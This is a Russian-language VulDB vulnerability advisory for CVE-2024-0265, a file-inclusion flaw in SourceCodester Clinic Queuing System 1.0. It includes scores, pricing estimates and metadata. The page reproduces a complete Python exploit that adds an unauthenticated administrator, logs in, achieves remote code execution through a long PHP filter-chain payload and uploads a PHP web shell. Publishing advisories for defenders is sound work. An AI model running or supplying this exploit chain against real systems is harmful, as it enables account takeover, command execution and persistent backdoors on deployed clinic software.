SourceCodester Clinic Queuing System 1.0 GET Parameter /index.php page эскалация привилегий
| CVSS Meta Temp Score | Текущая цена эксплойта (≈) | Балл интереса CTI |
|---|---|---|
| 7.4 | $0-$5k | 0.00 |
Сводка
В SourceCodester Clinic Queuing System 1.0 была найдена уязвимость, классифицированная как критический. Затронута неизвестная функция файла /index.php компонента GET Parameter Handler. Манипуляция аргументом page приводит к эскалация привилегий. Эта уязвимость обрабатывается как CVE-2024-0265. Есть возможность удалённого запуска атаки. Кроме того, имеется доступный эксплойт.
Подробности
В SourceCodester Clinic Queuing System 1.0 была найдена уязвимость, классифицированная как критический. Затронута неизвестная функция файла /index.php компонента GET Parameter Handler. Манипуляция аргументом page приводит к эскалация привилегий. Использование CWE для описания проблемы приводит к CWE-73. Слабость была опубликована 06.01.2024. Документ доступен для загрузки по адресу github.com.
Эта уязвимость обрабатывается как CVE-2024-0265. Есть возможность удалённого запуска атаки. Доступна техническая информация. Популярность этой уязвимости ниже среднего. Кроме того, имеется доступный эксплойт. Эксплойт опубликован и может быть использован. На данный момент актуальная стоимость эксплойта может быть около USD $0-$5k.
Присвоено значение Доказательство концепции. Эксплойт доступен для загрузки на сайте github.com. В 0-дневный период предполагаемая подземная цена составляла около $0-$5k. Исходный код эксплойта:
# Author: Juan Marco Sanchez | https://linkedin.com/in/juanmarcosanchezimport requests import random import argparse from bs4 import BeautifulSoup
- Sourcecodester Clinic Queuing System RCE
- Chain of CVE-2024-0264 and CVE-2024-0265
parser = argparse.ArgumentParser() parser.add_argument("target") args = parser.parse_args()
base_url = args.target phase1_url = base_url + '/LoginRegistration.php?a=save_user' phase2_url = base_url + '/LoginRegistration.php?a=login'
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"
def phase1(): rand_user = 'pwn_'+str(random.randint(100, 313)) rand_pass = 'pwn_'+str(random.randint(100, 313)) pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1} print("[*] adding administrator " + rand_user + ":" + rand_pass) phase1 = requests.post(phase1_url, pwn_user_data) if "User Account has been added successfully." in phase1.text: print("[+] Phase 1 Success - Admin user added!\n") print("[*] Initiating Phase 2") phase2(rand_user, rand_pass) else: print("[X] user creation failed :(") die()
def phase2(user, password): s = requests.Session(); login_data = {'formToken':'','username':user, 'password':password} print("[*] Loggin in....") phase2 = s.post(phase2_url, login_data)
if "Login successfully." in phase2.text: print("[+] Login success") else: print("[X] Login failed.") die()
print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n") rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';" #print("[*] Payload: " + rce_url) rce = s.get(rce_url) if "jmrcsnchz" in rce.text: print("[+] RCE success!") soup = BeautifulSoup(rce.text, 'html.parser') print("[+] Output of id: " + soup.pre.get_text()) print("[*] Uploading php backdoor....") s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));") print("[+] Access at " + base_url + "/rce.php?0=whoami") else: print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.") die()
try: print("[*] Initiating Phase 1") phase1() except: print("Exploit failed.")
Продукт
Поставщик
Имя
Версия
Лицензия
Веб-сайт
- Поставщик: https://www.sourcecodester.com/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Вектор: 🔍VulDB Надёжность: 🔍
CVSSv3
VulDB Meta Base Score: 7.6VulDB Meta Temp Score: 7.4
VulDB Базовый балл: 6.3
VulDB Временная оценка: 5.7
VulDB Вектор: 🔍
VulDB Надёжность: 🔍
Исследователь Базовый балл: 8.8
Исследователь Вектор: 🔍
NVD Базовый балл: 8.8
NVD Вектор: 🔍
CNA Базовый балл: 6.3
CNA Вектор (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Вектор | Сложность | Аутентификация | Конфиденциальность | Целостность | Доступность |
|---|---|---|---|---|---|
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
| Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
VulDB Базовый балл: 🔍
VulDB Временная оценка: 🔍
VulDB Надёжность: 🔍
NVD Базовый балл: 🔍
Эксплуатация
Класс: эскалация привилегийCWE: CWE-73
CAPEC: 🔍
ATT&CK: 🔍
Физический: Нет
Локальный: Нет
Удалённый: Да
Доступность: 🔍
Доступ: публичный
Статус: Доказательство концепции
Автор: Juan Marco Sanchez (jmrcsnchz)
Язык программирования: 🔍
Скачать: 🔍
Google Hack: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Прогноз цен: 🔍
Оценка текущей цены: 🔍
| 0-Day | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
|---|---|---|---|---|
| Сегодня | Разблокировать | Разблокировать | Разблокировать | Разблокировать |
Разведка угроз
Интерес: 🔍Активные акторы: 🔍
Активные группы APT: 🔍
Контрмеры
Рекомендация: о смягчении не известноСтатус: 🔍
0-дневное время: 🔍
Хронология
06.01.2024 🔍06.01.2024 🔍
06.01.2024 🔍
09.06.2025 🔍
Источники
Поставщик: sourcecodester.comКонсультация: github.com
Статус: Не определено
CVE: CVE-2024-0265 (🔍)
GCVE (CVE): GCVE-0-2024-0265
GCVE (VulDB): GCVE-100-249821
EUVD: 🔍
scip Labs: https://www.scip.ch/en/?labs.20161013
Вход
Создано: 06.01.2024 09:57Обновлено: 09.06.2025 21:22
Изменения: 06.01.2024 09:57 (42), 06.01.2024 16:23 (3), 06.01.2024 16:24 (13), 06.01.2024 16:27 (3), 24.01.2024 18:03 (2), 24.01.2024 18:11 (27), 09.06.2025 21:22 (16)
Завершенный: 🔍
Отправитель: Echidonut
Коммиттер: Echidonut
Cache ID: 216::103
Отправить
принято
- Отправить #261736: Sourcecodester Clinic Queuing System 1.0 Local File Inclusion (по Echidonut)
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Комментариев пока нет. Языки: ru + be + en.
Пожалуйста, войдите в систему, чтобы прокомментировать.